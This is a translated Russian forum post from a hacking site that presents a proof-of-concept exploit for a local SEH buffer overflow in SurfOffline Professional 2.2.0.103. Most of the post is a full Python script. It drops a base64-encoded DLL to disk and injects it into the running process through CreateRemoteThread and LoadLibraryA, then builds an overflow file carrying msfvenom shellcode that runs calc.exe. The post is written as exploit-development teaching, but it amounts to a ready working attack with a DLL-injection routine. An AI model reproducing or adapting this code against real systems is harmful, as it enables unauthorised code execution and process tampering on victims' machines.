Статья Пример обхода вставки DLL в nullbyte (POC для локальной эксплуатации SEH)

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 333
Пример обхода вставки DLL в nullbyte (POC для локальной эксплуатации SEH)

Метод для обхода пустых байтов адреса POP-POP-RETN, созданного Mona.py для эксплуатации локальных переполнений SEH посредством внедрения DLL.

Что?
Вы когда-нибудь сталкивались с тысячами бесполезных nullbyte POP POP RETN адресов, генерируемых Mona.py при эксплуатации переполнения SEH в системах на базе Windows? Вы пытались использовать метод частичной перезаписи POP POP RETN, созданный в некоторых эксплойтах? И все не получается.

pprnullf.png


Ну, вот вам альтернатива, через инъекцию DLL, давайте добавим наш собственный DLL модуль и назовем чистый и nullbyte адрес POP POP RETN.

Это в значительной степени применимо только к локальным переполнениям SEH, поскольку требует, чтобы вы внедрили DLL в уязвимый процесс переполнения SEH.

Насколько это практично? Это на самом деле непрактично, потому что вы эксплуатируете только локальное переполнение SEH.

Где?
process.png

  1. Выходной файл полезной нагрузки создается, поскольку он использует локальное переполнение буфера на основе SEH, в выходном файле есть эксплойт POC для перехвата обработчика SEH и использования (специального) POP POP RET для выхода из следующего обработчика SEH в цепочке SEH.
  2. Вам нужен PID процесса для внедрения DLL в процесс, PID автоматически обнаруживается с помощью функции process_injection () с использованием библиотеки Python psutil для обнаружения PID.
  3. Вызывается функция drop_DLL_disk (), которая декодирует и удаляет закодированный в пейлоад DLL в base64, в данном случае это файл essfunc.dll из vulnserver. После сброса DLL пейлоада на диск, DLL внедряется в уязвимый процесс через автоматически обнаруженный PID.
  4. После того, как новая DLL внедрена в уязвимый запущенный процесс (SurfOffline Professional), атакующий может использовать уязвимое поле ввода в инструменте создания «New project» в SurfOffline Professional.
    File > New Program > Project Name > OK.
    Будет использоваться новый POP POP RET из инжектированной DLL, чтобы вызвать calc.exe.

finalexploit.png



Пример использования

В этом эксплойте используется уязвимое поле ввода в программе SurfOffline Professional. Оно уязвимо для локального переполнения на основе SEH.

Внедренная DLL - это «essfunc.dll» из серии разработки эксплойтов vulnserver.

Nullbyte_PPR_DLL-injection_bypass.py
Python:
import os, sys
import psutil
from struct import pack
from ctypes import *
from base64 import b64decode

# Exploit Title: SurfOffline Professional local SEH overflow
# Date: 12/18/2019
# Exploit Author: FULLSHADE / x00pwn
# Vendor Homepage: http://www.sharing-file.com/
# Software Link: https://www.softpedia.com/get/Internet/Offline-Browsers/SurfOffline.shtml
# Version: 2.2.0.103
# Tested on: Windows 7


def process_injection():

    print("\n----{Starting vulnerable program PID discovery}----\n")

    PROCNAME = "SO_PRO.exe"
    try:
        for proc in psutil.process_iter():
            if proc.name() == PROCNAME:
                process_PID = proc.pid      #PID
    except:
        print("[!] Error, vuln program not running")
       
    print("[+] Selected victim PID: {}".format(process_PID))
    # from tasklist - SO_PRO.exe <PID> Console  1   33,692 K
    print("\n----{Starting NullByte DLL injection bypass}----\n")

    drop_DLL_disk()
   
    dll_name = "payload.dll"              # process name

    print("[+] Selected .DLL name: {}".format(dll_name))

    loading_process = windll.kernel32.OpenProcess(
        983040 | 1048576 | 4095, False, int(process_PID)
    )
    print("[+] Establishing handle connection to process")
    allocate_memory = windll.kernel32.VirtualAllocEx(
        loading_process, 0, len(dll_name), 4096 | 8192, 4
    )
    print("[+] Allocating memory in victim process")
    write_memory = windll.kernel32.WriteProcessMemory(
        loading_process, allocate_memory, dll_name, len(dll_name), byref(c_int(0))
    )
    print("[+] Writing DLL to allocated space")
    code_execution = windll.kernel32.CreateRemoteThread(
        loading_process, None, 0, windll.kernel32.GetProcAddress(windll.kernel32.GetModuleHandleA("kernel32.dll"),
             "LoadLibraryA"), allocate_memory, 0, byref(c_ulong(0)),
    )
    print("[+] Victim process DLL injection suceeded\n")
    exploitation()

def drop_DLL_disk():

    # this function drops the needed PPR DLL payload, originally essfunc.dll from vulnserver
    b64_dll = "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHJ1bmRsbDMyLmV4ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAACAAAACDMIswrjDGMNUw4zD9MAcxETEbMSMxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
    try:
        bytes = b64decode(b64_dll)
        createF = open('payload.dll', 'wb')
        createF.write(bytes)
        createF.close()
        print("[+] Dropped payload.dll to disk")
    except:
        print("[+] Failed to create DLL")

def exploitation():

    # msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d\x0e" -e x86/alpha_mixed -f python -v shellcode EXITFUNC=seh
    shellcode = ""
    shellcode += "\x89\xe0\xd9\xc5\xd9\x70\xf4\x5b\x53\x59\x49\x49"
    shellcode += "\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43"
    shellcode += "\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
    shellcode += "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30"
    shellcode += "\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
    shellcode += "\x69\x6c\x69\x78\x6b\x32\x35\x50\x67\x70\x45\x50"
    shellcode += "\x45\x30\x4b\x39\x58\x65\x50\x31\x69\x50\x30\x64"
    shellcode += "\x6c\x4b\x46\x30\x74\x70\x4e\x6b\x53\x62\x54\x4c"
    shellcode += "\x6e\x6b\x33\x62\x35\x44\x4c\x4b\x71\x62\x44\x68"
    shellcode += "\x56\x6f\x68\x37\x72\x6a\x57\x56\x34\x71\x39\x6f"
    shellcode += "\x4c\x6c\x65\x6c\x73\x51\x63\x4c\x76\x62\x44\x6c"
    shellcode += "\x75\x70\x4a\x61\x5a\x6f\x36\x6d\x33\x31\x78\x47"
    shellcode += "\x59\x72\x59\x62\x66\x32\x53\x67\x4c\x4b\x51\x42"
    shellcode += "\x46\x70\x6e\x6b\x63\x7a\x55\x6c\x6e\x6b\x62\x6c"
    shellcode += "\x47\x61\x62\x58\x38\x63\x47\x38\x73\x31\x5a\x71"
    shellcode += "\x70\x51\x6c\x4b\x53\x69\x71\x30\x35\x51\x48\x53"
    shellcode += "\x6e\x6b\x52\x69\x74\x58\x49\x73\x64\x7a\x57\x39"
    shellcode += "\x4e\x6b\x67\x44\x4e\x6b\x46\x61\x6a\x76\x50\x31"
    shellcode += "\x4b\x4f\x6e\x4c\x69\x51\x48\x4f\x76\x6d\x56\x61"
    shellcode += "\x6b\x77\x75\x68\x4b\x50\x74\x35\x38\x76\x53\x33"
    shellcode += "\x63\x4d\x4b\x48\x75\x6b\x33\x4d\x46\x44\x33\x45"
    shellcode += "\x4d\x34\x56\x38\x6e\x6b\x70\x58\x31\x34\x45\x51"
    shellcode += "\x78\x53\x30\x66\x4e\x6b\x64\x4c\x42\x6b\x6c\x4b"
    shellcode += "\x36\x38\x57\x6c\x67\x71\x79\x43\x6c\x4b\x64\x44"
    shellcode += "\x4e\x6b\x36\x61\x4a\x70\x6f\x79\x30\x44\x55\x74"
    shellcode += "\x64\x64\x31\x4b\x33\x6b\x30\x61\x30\x59\x43\x6a"
    shellcode += "\x33\x61\x39\x6f\x69\x70\x33\x6f\x71\x4f\x73\x6a"
    shellcode += "\x6e\x6b\x66\x72\x4a\x4b\x4c\x4d\x63\x6d\x50\x6a"
    shellcode += "\x65\x51\x4e\x6d\x4c\x45\x6d\x62\x57\x70\x77\x70"
    shellcode += "\x67\x70\x32\x70\x55\x38\x46\x51\x4e\x6b\x32\x4f"
    shellcode += "\x6f\x77\x69\x6f\x79\x45\x6d\x6b\x4b\x4e\x64\x4e"
    shellcode += "\x74\x72\x4b\x5a\x70\x68\x6c\x66\x6d\x45\x4f\x4d"
    shellcode += "\x4f\x6d\x79\x6f\x6b\x65\x45\x6c\x65\x56\x43\x4c"
    shellcode += "\x67\x7a\x6b\x30\x39\x6b\x59\x70\x61\x65\x63\x35"
    shellcode += "\x6f\x4b\x50\x47\x42\x33\x50\x72\x42\x4f\x30\x6a"
    shellcode += "\x35\x50\x36\x33\x69\x6f\x39\x45\x73\x53\x50\x61"
    shellcode += "\x72\x4c\x32\x43\x44\x6e\x53\x55\x43\x48\x53\x55"
    shellcode += "\x67\x70\x41\x41"

    seh_handler = "\xB4\x10\x50\x62"  # POP POP RET FROM ESSFUNC
    nseh_handler = "\xEB\x08\x90\x90"  # JMP short 6 over SEH handler

    payload = "A" * 382
    payload += nseh_handler
    payload += seh_handler
    payload += "\x90" * 16
    payload += shellcode  # shellcode calc payload
    payload += "D" * (5000 - len(payload))  # padding

    try:
        print("\n----{Starting exploitation}----\n")
        file_payload = open("evil.txt", "w")
        print("[+] Creating a .txt file for payload")
        file_payload.write(payload)
        print("[+] Writing malicious payload to .txt file")
        file_payload.close()
        print("[+] Copy the file contents add create new project name")
    except:
        print("[!] Failed to create malicious .txt")

    process_injection()

if __name__ == "__main__":
    print("\n\n[+] Exploit POC for SurfOffline Professional 2.2.0.103")
    exploitation()


оригинальная заметка
Перевод: tabac, специально для https://xss.pro
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх